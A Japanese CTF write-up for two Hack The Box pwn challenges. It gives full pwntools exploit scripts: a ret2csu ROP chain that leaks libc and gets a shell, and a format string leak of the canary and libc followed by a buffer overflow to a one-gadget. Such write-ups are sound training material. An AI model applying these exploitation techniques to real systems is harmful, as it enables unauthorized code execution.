<Cyber Santa is Coming to Town> Writeup

はじめに


12 月 1 日(水)22 : 00 ~ 12 月 6 日(月)4 : 00 に行われていた Hack The Box 主催の CTF 、Cyber Santa is Coming to Town に参加しました。


5 ジャンル × 5 問ずつ出題されました。Pwn 5 問のうち最後の 2 問の Writeup をちょっとだけ書きます。


結果

Minimelfistic


実行ファイルと libc が配布されました。サンタが家に帰ってきたタイミングでアラームか何かを消してもらいます。

$ ./chall
 
[*] Santa is not home!
  
[*] Santa is not home!
 
[*] Santa is not home!
 
[*] Santa is not home!
 
[*] Santa is not home!
 
[*] Santa is not home!
 
[*] Santa is not home!
 
[!] Santa returned!
 
[*] Hello 🎅! Do you want to turn off the 🚨? (y/n)
> y
 
[!] For your safety, the 🚨 will not be deactivated!
 
[*] Santa is not home!
$ checksec chall
[*] '/home/hasuke/Downloads/minimelfistic/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    RUNPATH:  b'.'


サンタが帰ってきて質問してきますが、これに返答する際に BOF を起こせます。


攻撃の流れは、


write()を用いて libc leak → そのままmain()に返る → リークした値を利用して、もう一度 ROP をしてシェルをとる


という感じです。


write()を呼ぶ時に第 3 引数まで設定する必要がありますが、それには__libc_csu_init()の一部が利用できます。

   0x0000000000400a20 <+64>:	mov    rdx,r15
   0x0000000000400a23 <+67>:	mov    rsi,r14
   0x0000000000400a26 <+70>:	mov    edi,r13d
   0x0000000000400a29 <+73>:	call   QWORD PTR [r12+rbx*8]
   0x0000000000400a2d <+77>:	add    rbx,0x1
   0x0000000000400a31 <+81>:	cmp    rbp,rbx
   0x0000000000400a34 <+84>:	jne    0x400a20 <__libc_csu_init+64>
   0x0000000000400a36 <+86>:	add    rsp,0x8
   0x0000000000400a3a <+90>:	pop    rbx
   0x0000000000400a3b <+91>:	pop    rbp
   0x0000000000400a3c <+92>:	pop    r12
   0x0000000000400a3e <+94>:	pop    r13
   0x0000000000400a40 <+96>:	pop    r14
   0x0000000000400a42 <+98>:	pop    r15
   0x0000000000400a44 <+100>:	ret    


具体的には、write(1, addr_got_write, 16)と設定するために、


0x400a3a に入り、rbx、rbp、r12、r13、r14、r15 にそれぞれ 0、1、write()の GOT アドレス、1 、write()の GOT アドレス、16 を入れた後、 0x400a20 にリターンします。


すると rdx、rsi、edi にそれぞれ適切な値を設定した上でwrite()を呼べ、さらに 0x400a34 の分岐を通り抜け、すきな関数にリターンできます。

#!/usr/bin/env python3                                                         
from pwn import *
 
bin_file = './chall'
context(os = 'linux', arch = 'amd64')
#HOST = '46.101.85.29'
#PORT = 31882
 
binf = ELF(bin_file)
libc = ELF('./libc.so.6')
 
def attack(io, **kwargs):
    exploit = p64(0x39)
    exploit += b'a' * 0x40
    exploit += p64(0x400a3a)
    exploit += p64(0)
    exploit += p64(1)
    exploit += p64(binf.got['write'])
    exploit += p64(1)
    exploit += p64(binf.got['write'])
    exploit += p64(16)
    exploit += p64(0x400a20)
    exploit += b'0' * 0x38
    exploit += p64(binf.sym.main)
 
    io.sendlineafter('> ', exploit)
    io.recvline()
    io.recvline()
    io.recvline()
 
    leak = unpack(io.recvuntil(b'\x00'), 'all')
    libc.address = leak - libc.sym.write
    info('libc_base = 0x{:08x}'.format(libc.address))
 
    onegad = [0x4f3d5, 0x4f432, 0x10a41c]
    addr_onegad = libc.address + onegad[0]
 
    io.sendlineafter('> ', p64(57) + b'a'*0x40 + p64(addr_onegad))
 
def main():
    io = process(bin_file)
    #io = remote(HOST, PORT)
    attack(io)
    #gdb.attach(io, '')
    io.interactive()
 
if __name__ == '__main__':
    main()                        

Music Notes


サンタの楽譜が悪い奴らに書き換えられて、それを修正してあげるっていう設定です。実行ファイルと libc が配布されました。


こんなふうに 5 回連続で正しい音を当てれば名前とプレゼントを入力できます。

$ ./chall
 
 
 🎵 🎻 Jingle bells, jingle bells, jingle...? 🎸 🎵
 
 
 .------.                   _______       __
 ( X  X )                  /   ------.   / ._`_
 \ X  X /                 | /         ~--~    \
 / X  X \                 | |             __    `.____________________ _^-----^
 (      )                 | |  IX|XXXXXXX/--\XXXXXXXXXXXXXXXXXXXXXXXXX| o o o |
  `-||-'                  \ |  IX|XXXXXXX\__/XXXXXXXXXXXXXXXXXXXXXXXXX|_o_o_o_|
    ||                     \       .---.    .
    ||                       -----'     ~~''
    ||
    ()
 
 
  
Choose note:
1. B
2. D
> 2
 
Choose note:
1. D
2. B
> 2
 
Choose note:
1. A
2. G
> 1
 
Choose note:
1. G
2. B
> 1
 
Choose note:
1. D
2. B
> 1
 
[+] You collected all the notes!
 
[*] Tell me your name so that you can receive your 🎁!
> hoge
 
[*] So, your name is: hoge
 
[*] What a nice name! Tell me what would you like as a 🎁: huga
[*] 🎅 will prepare your gift soon!
$ checksec chall
[*] '/home/hasuke/Downloads/music_notes/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'.'


正しい音は D - B - A - G - D です。


利用する脆弱性は、
① 名前を確かめてくるところの FSB
② プレゼントを入力するところの BOF(変数 present のサイズは 40 バイト)
です。

      read(0,name,(long)(local_84 + -1));
      printf("\n[*] So, your name is: ");
      printf(name);
      printf(&DAT_001013b8);
      read(0,present,0x6e);


① で canary と__libc_start_main() + 231のアドレスをリークしてから、② で ROP をします。

#!/usr/bin/env python3                                                         
from pwn import *
 
bin_file = './chall'
context(os = 'linux', arch = 'amd64')
#HOST = '159.65.88.143'
#PORT = 30280
 
binf = ELF(bin_file)
libc = ELF('./libc.so.6')
 
notes = ['D', 'B', 'A', 'G', 'D']
 
def choose_notes(io, i):
    io.recvuntil('note:')
    io.recvline()
    io.recv(3)
    if notes[i] == io.recv(1).decode():
        io.sendlineafter('> ', '1')
    else:
        io.sendlineafter('> ', '2')    
 
def attack(io, **kwargs):
    for i in range(5):
        choose_notes(io, i)
 
    fsa = '%41$p_%43$p'
    io.sendlineafter('> ', fsa)
    io.recvuntil('0x')
    canary = int(io.recv(16), 16)
    io.recv(3)
    leak = int(io.recv(12), 16)
     
    libc.address = leak - 231 - libc.sym.__libc_start_main
    info('libc_base is 0x{:08x}'.format(libc.address))
 
    onegad = [0x4f3d5, 0x4f432, 0x10a41c]
    addr_onegad = libc.address + onegad[1]
 
    exploit = b'a' * 0x28
    exploit += p64(canary)
    exploit += b'a' * 0x38
    exploit += p64(addr_onegad)
     
    io.recvuntil('like')
    io.sendafter(': ', exploit)
 
def main():
    io = process(bin_file)
    #io = remote(HOST, PORT)
    attack(io)
    #gdb.attach(io, '')
    io.interactive()
 
if __name__ == '__main__':
    main()      
これすき

おわりに


スコアサーバのテーマがクリスマスを意識したものだったり、アスキーアートが綺麗だったりして楽しかったです。

雪が降ってた。